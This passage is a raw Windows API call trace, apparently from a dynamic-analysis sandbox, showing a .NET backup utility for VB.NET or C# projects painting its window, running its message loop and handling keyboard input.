GetThemeAppProperties () returned 0x3 [0257.553] IsThemePartDefined () returned 0x1 [0257.553] GdipCreateRegion (region=0x2be428) returned 0x0 [0257.553] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0257.553] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0257.553] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0257.553] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0257.553] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.553] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0257.553] LocalFree (hMem=0x5fd508) returned 0x0 [0257.553] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.553] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0257.553] LocalFree (hMem=0x5fd508) returned 0x0 [0257.553] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0257.553] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0257.553] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0257.553] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0257.553] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0257.553] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0257.553] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.553] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.553] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.553] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.553] SaveDC (hdc=0x640101a0) returned 1 [0257.554] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8f040789 [0257.554] GetClipRgn (hdc=0x640101a0, hrgn=0x8f040789) returned 0 [0257.554] SelectClipRgn (hdc=0x640101a0, hrgn=0x8e0401eb) returned 2 [0257.554] DeleteObject (ho=0x8f040789) returned 1 [0257.554] DeleteObject (ho=0x8e0401eb) returned 1 [0257.554] OffsetViewportOrgEx (in: hdc=0x640101a0, x=0, y=0, lppt=0x25695bc | out: lppt=0x25695bc) returned 1 [0257.554] IsAppThemed () returned 0x1 [0257.554] GetThemeAppProperties () returned 0x3 [0257.554] GetThemeAppProperties () returned 0x3 [0257.554] DrawThemeBackground () returned 0x0 [0257.554] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.554] GdipReleaseDC (graphics=0x4ae5320, hdc=0x640101a0) returned 0x0 [0257.554] GdipCreateRegion (region=0x2be410) returned 0x0 [0257.554] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0257.554] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0257.554] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0257.555] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0257.555] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.555] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0257.555] LocalFree (hMem=0x5fd508) returned 0x0 [0257.555] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0257.555] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0257.555] LocalFree (hMem=0x5fd508) returned 0x0 [0257.555] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0257.555] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0257.555] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0257.555] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0257.555] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0257.555] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0257.555] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.555] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.555] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.555] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.555] SaveDC (hdc=0x640101a0) returned 1 [0257.555] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x8f0401eb [0257.555] GetClipRgn (hdc=0x640101a0, hrgn=0x8f0401eb) returned 0 [0257.555] SelectClipRgn (hdc=0x640101a0, hrgn=0x90040789) returned 2 [0257.555] DeleteObject (ho=0x8f0401eb) returned 1 [0257.555] DeleteObject (ho=0x90040789) returned 1 [0257.555] OffsetViewportOrgEx (in: hdc=0x640101a0, x=0, y=0, lppt=0x2569890 | out: lppt=0x2569890) returned 1 [0257.556] IsAppThemed () returned 0x1 [0257.556] GetThemeAppProperties () returned 0x3 [0257.556] GetThemeAppProperties () returned 0x3 [0257.556] GetThemeBackgroundContentRect () returned 0x0 [0257.556] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.556] GdipReleaseDC (graphics=0x4ae5320, hdc=0x640101a0) returned 0x0 [0257.556] IsAppThemed () returned 0x1 [0257.556] GetThemeAppProperties () returned 0x3 [0257.556] GetThemeAppProperties () returned 0x3 [0257.556] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0257.556] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0257.556] GetCurrentObject (hdc=0x640101a0, type=0x1) returned 0x1b00017 [0257.556] GetCurrentObject (hdc=0x640101a0, type=0x2) returned 0x1900010 [0257.556] GetCurrentObject (hdc=0x640101a0, type=0x7) returned 0x210506ba [0257.556] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.556] SaveDC (hdc=0x640101a0) returned 1 [0257.556] GetTextAlign (hdc=0x640101a0) returned 0x0 [0257.556] GetTextColor (hdc=0x640101a0) returned 0x0 [0257.556] GetCurrentObject (hdc=0x640101a0, type=0x6) returned 0x18a002e [0257.556] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0257.556] SelectObject (hdc=0x640101a0, h=0x90a01e9) returned 0x18a002e [0257.556] GetBkMode (hdc=0x640101a0) returned 2 [0257.556] SetBkMode (hdc=0x640101a0, mode=1) returned 2 [0257.556] DrawTextExW (in: hdc=0x640101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x2569c24 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0257.557] DrawTextExW (in: hdc=0x640101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x2569c24 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0257.557] RestoreDC (hdc=0x640101a0, nSavedDC=-1) returned 1 [0257.557] GdipReleaseDC (graphics=0x4ae5320, hdc=0x640101a0) returned 0x0 [0257.557] GetFocus () returned 0x0 [0257.557] IsAppThemed () returned 0x1 [0257.557] GetThemeAppProperties () returned 0x3 [0257.557] GetThemeAppProperties () returned 0x3 [0257.557] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0257.557] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x640101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0257.557] GdipReleaseDC (graphics=0x4ae5320, hdc=0x640101a0) returned 0x0 [0257.557] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0257.557] SelectObject (hdc=0x640101a0, h=0x185000f) returned 0x210506ba [0257.557] DeleteDC (hdc=0x640101a0) returned 1 [0257.557] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0257.558] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0257.558] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.558] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.558] WaitMessage () returned 1 [0257.647] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.647] IsWindowUnicode (hWnd=0x20152) returned 1 [0257.647] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.647] TranslateMessage (lpMsg=0x2bec18) returned 0 [0257.647] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0257.647] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.647] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.647] WaitMessage () returned 1 [0257.863] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.864] IsWindowUnicode (hWnd=0x1019e) returned 1 [0257.864] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0257.864] TranslateMessage (lpMsg=0x2bec18) returned 0 [0257.864] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0257.864] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.864] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0257.864] WaitMessage () returned 1 [0261.384] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.384] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0261.385] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0261.728] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0261.728] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0261.728] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0261.728] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0261.729] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0261.729] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0261.729] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0261.729] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0261.729] NtdllDefWindowProc_W () returned 0x0 [0261.729] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0261.743] GetFocus () returned 0x0 [0261.743] SetFocus (hWnd=0x1019c) returned 0x0 [0261.743] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0261.743] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0261.743] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0261.743] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0261.744] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0261.744] GetStockObject (i=5) returned 0x1900015 [0261.744] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0261.744] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x5627c0) returned 0x19 [0261.744] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0261.744] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0261.744] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0261.744] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0261.745] IsWindowUnicode (hWnd=0x1019c) returned 1 [0261.745] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] TranslateMessage (lpMsg=0x2bec18) returned 0 [0261.745] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0261.745] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] IsWindowUnicode (hWnd=0x1019c) returned 1 [0261.745] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] GetKeyState (nVirtKey=16) returned 0 [0261.745] GetKeyState (nVirtKey=17) returned 0 [0261.745] GetKeyState (nVirtKey=18) returned -127 [0261.745] TranslateMessage (lpMsg=0x2bec18) returned 1 [0261.745] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0261.745] GetKeyState (nVirtKey=16) returned 0 [0261.745] GetKeyState (nVirtKey=17) returned 0 [0261.745] GetKeyState (nVirtKey=18) returned -127 [0261.745] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0261.745] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] IsWindowUnicode (hWnd=0x1019c) returned 1 [0261.745] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] GetKeyState (nVirtKey=16) returned 0 [0261.745] GetKeyState (nVirtKey=17) returned 0 [0261.745] GetKeyState (nVirtKey=18) returned 1 [0261.745] TranslateMessage (lpMsg=0x2bec18) returned 1 [0261.745] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0261.745] GetKeyState (nVirtKey=16) returned 0 [0261.745] GetKeyState (nVirtKey=17) returned 0 [0261.745] GetKeyState (nVirtKey=18) returned 1 [0261.745] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0261.745] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] IsWindowUnicode (hWnd=0x1019c) returned 1 [0261.745] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0261.745] TranslateMessage (lpMsg=0x2bec18) returned 0 [0261.745] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0261.745] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x60106b7 [0261.746] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0261.746] CreateCompatibleDC (hdc=0x60106b7) returned 0x90106c3 [0261.746] SelectObject (hdc=0x90106c3, h=0x210506ba) returned 0x185000f [0261.746] GdipCreateFromHDC (hdc=0x90106c3, graphics=0x2be714) returned 0x0 [0261.746] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0261.746] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0261.746] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0261.746] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0261.746] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0261.746] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.746] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd850) returned 0x0 [0261.746] LocalFree (hMem=0x5fd850) returned 0x0 [0261.746] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0261.746] GdipCreateRegion (region=0x2be75c) returned 0x0 [0261.746] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0261.746] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0261.746] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0261.746] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd850dbd) returned 0x0 [0261.746] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0261.746] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0261.746] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.746] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.747] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.747] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.747] SaveDC (hdc=0x90106c3) returned 1 [0261.747] GetNearestColor (hdc=0x90106c3, color=0xf0f0f0) returned 0xf0f0f0 [0261.747] GetNearestColor (hdc=0x90106c3, color=0xa0a0a0) returned 0xa0a0a0 [0261.747] GetNearestColor (hdc=0x90106c3, color=0x696969) returned 0x696969 [0261.747] GetNearestColor (hdc=0x90106c3, color=0xa0a0a0) returned 0xa0a0a0 [0261.747] GetNearestColor (hdc=0x90106c3, color=0x0) returned 0x0 [0261.747] GetNearestColor (hdc=0x90106c3, color=0xffffff) returned 0xffffff [0261.747] GetNearestColor (hdc=0x90106c3, color=0xe5e5e5) returned 0xe5e5e5 [0261.747] GetNearestColor (hdc=0x90106c3, color=0xd7d7d7) returned 0xd7d7d7 [0261.747] GetNearestColor (hdc=0x90106c3, color=0x0) returned 0x0 [0261.747] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.747] GdipReleaseDC (graphics=0x4ae5320, hdc=0x90106c3) returned 0x0 [0261.747] IsAppThemed () returned 0x1 [0261.747] GetThemeAppProperties () returned 0x3 [0261.747] GetThemeAppProperties () returned 0x3 [0261.747] IsAppThemed () returned 0x1 [0261.747] GetThemeAppProperties () returned 0x3 [0261.747] GetThemeAppProperties () returned 0x3 [0261.747] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x25a9964 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetFocus () returned 0x1019c [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] IsThemePartDefined () returned 0x1 [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] IsAppThemed () returned 0x1 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] GetThemeAppProperties () returned 0x3 [0261.748] IsThemePartDefined () returned 0x1 [0261.748] GdipCreateRegion (region=0x2be484) returned 0x0 [0261.748] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0261.748] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0261.748] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0261.748] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0261.748] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.748] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd850) returned 0x0 [0261.748] LocalFree (hMem=0x5fd850) returned 0x0 [0261.749] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd850 [0261.749] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd850) returned 0x0 [0261.749] LocalFree (hMem=0x5fd850) returned 0x0 [0261.749] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0261.749] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0261.749] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0261.749] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0261.749] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0261.749] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0261.749] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.749] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.749] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.749] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.749] SaveDC (hdc=0x90106c3) returned 1 [0261.749] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x91040789 [0261.749] GetClipRgn (hdc=0x90106c3, hrgn=0x91040789) returned 0 [0261.749] SelectClipRgn (hdc=0x90106c3, hrgn=0x960401eb) returned 2 [0261.749] DeleteObject (ho=0x91040789) returned 1 [0261.749] DeleteObject (ho=0x960401eb) returned 1 [0261.749] OffsetViewportOrgEx (in: hdc=0x90106c3, x=0, y=0, lppt=0x25aa014 | out: lppt=0x25aa014) returned 1 [0261.749] DrawThemeParentBackground () returned 0x0 [0261.750] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0261.750] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0261.750] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0261.750] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0261.750] GetSystemMetrics (nIndex=42) returned 0 [0261.750] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0261.750] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0261.750] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0261.750] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.750] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.750] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.750] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.750] SaveDC (hdc=0x90106c3) returned 2 [0261.750] GetNearestColor (hdc=0x90106c3, color=0xf0f0f0) returned 0xf0f0f0 [0261.750] CreateSolidBrush (color=0xf0f0f0) returned 0x441006a2 [0261.750] FillRect (hDC=0x90106c3, lprc=0x2bdf94, hbr=0x441006a2) returned 1 [0261.750] DeleteObject (ho=0x441006a2) returned 1 [0261.750] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.750] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0261.750] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0261.750] GetSystemMetrics (nIndex=42) returned 0 [0261.750] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0261.750] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0261.750] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0261.751] GetCurrentObject (hdc=0x90106c3, type=0x1) returned 0x1b00017 [0261.751] GetCurrentObject (hdc=0x90106c3, type=0x2) returned 0x1900010 [0261.751] GetCurrentObject (hdc=0x90106c3, type=0x7) returned 0x210506ba [0261.751] GetCurrentObject (hdc=0x90106c3, type=0x6) returned 0x18a002e [0261.751] SaveDC (hdc=0x90106c3) returned 2 [0261.751] GetNearestColor (hdc=0x90106c3, color=0xf0f0f0) returned 0xf0f0f0 [0261.751] CreateSolidBrush (color=0xf0f0f0) returned 0x451006a2 [0261.751] FillRect (hDC=0x90106c3, lprc=0x2bdf34, hbr=0x451006a2) returned 1 [0261.751] DeleteObject (ho=0x451006a2) returned 1 [0261.751] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.751] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0261.751] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0261.751] GetSystemMetrics (nIndex=42) returned 0 [0261.751] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0261.751] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0261.751] RestoreDC (hdc=0x90106c3, nSavedDC=-1) returned 1 [0261.751] GdipReleaseDC (graphics=0x4ae5320, hdc=0x90106c3) returned 0x0 [0261.751] IsAppThemed () returned 0x1 [0261.751] GetThemeAppProperties () returned 0x3 [0261.751] GetThemeAppProperties () returned 0x3 [0261.751] IsAppThemed () returned 0x1 [0261.751] GetThemeAppProperties () returned 0x3 [0261.751] GetThemeAppProperties () returned 0x3 [0261.751] IsThemePartDefined () returned 0x1 [0261.751] GdipCreateRegion (region=0x2be428) returned 0x0 [0261.751] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0261.752] GdipCreateMatrix (matrix=0x2be428) returned 